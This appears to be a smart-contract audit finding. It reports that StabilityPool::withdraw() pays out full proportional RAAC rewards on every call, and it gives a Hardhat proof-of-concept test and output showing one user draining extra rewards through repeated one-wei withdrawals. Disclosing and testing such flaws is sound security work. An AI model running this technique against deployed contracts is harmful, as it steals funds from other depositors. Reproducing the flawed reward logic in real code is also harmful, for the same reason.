Summary
The StabilityPool::withdraw()
function allows users to repeatedly claim rewards, potentially depleting the contract's reward pool. A malicious actor can exploit this by making frequent withdrawals of minimal amounts, leading to an unfair advantage and losses for other users.
Vulnerability Details
The calculateRaacRewards()
function determines a user's reward allocation based on the proportion of their deposit relative to the total deposits in the system. When a user calls withdraw()
, their calculated raacRewards
are distributed immediately. However, there is no mechanism to prevent users from repeatedly withdrawing small amounts to disproportionately accumulate rewards, enabling them to drain the reward pool.
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
function calculateRaacRewards(address user) public view returns (uint256) {
@> uint256 userDeposit = userDeposits[user];
@> uint256 totalDeposits = deToken.totalSupply();
@> uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}
Poc
Add the following test to test/unit/core/pools/StabilityPool/StabilityPool.test.js
and execute it:
describe("StabilityPool::withdraw()", function () {
describe("RAAC Rewards", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("100");
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("user1 exhausts contract rewards", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const user1ExpectedRewards = await stabilityPool.calculateRaacRewards(user1.address);
console.log("user1 Expected Rewards:",user1ExpectedRewards);
const user2ExpectedRewards = await stabilityPool.calculateRaacRewards(user2.address);
console.log("user2 Expected Rewards:",user2ExpectedRewards);
await stabilityPool.connect(user1).withdraw(1);
await stabilityPool.connect(user1).withdraw(1);
await stabilityPool.connect(user1).withdraw(1);
const user1ActualRewards = await raacToken.balanceOf(user1.address);
console.log("user1 Actual Rewards:",user1ActualRewards);
});
});
});
output:
StabilityPool
Exhausting contract rewards
Init
user1 Expected Rewards: 2249999999999999992n
user2 Expected Rewards: 2249999999999999992n
user1 Actual Rewards: 4232638888888888872n
✔ user1 exhausts contract rewards (4240ms)
The results indicate that user1
is able to claim significantly more rewards than expected by repeatedly withdrawing small amounts, thus draining the contract's reward pool.
Impact
This vulnerability allows malicious users to unfairly extract more rewards than they are entitled to, resulting in a loss for other participants in the system. If left unaddressed, it could lead to:
Imbalance in reward distribution, disadvantaging honest users.
Depletion of the reward pool, preventing further incentivization.
Potential exploitation at scale, leading to a system-wide financial drain.
Tools Used
Manual Review
Recommendations
It is recommended to restructure the reward amount distribution implementation to prevent malicious users from repeatedly obtaining corresponding rewards by withdrawing small amounts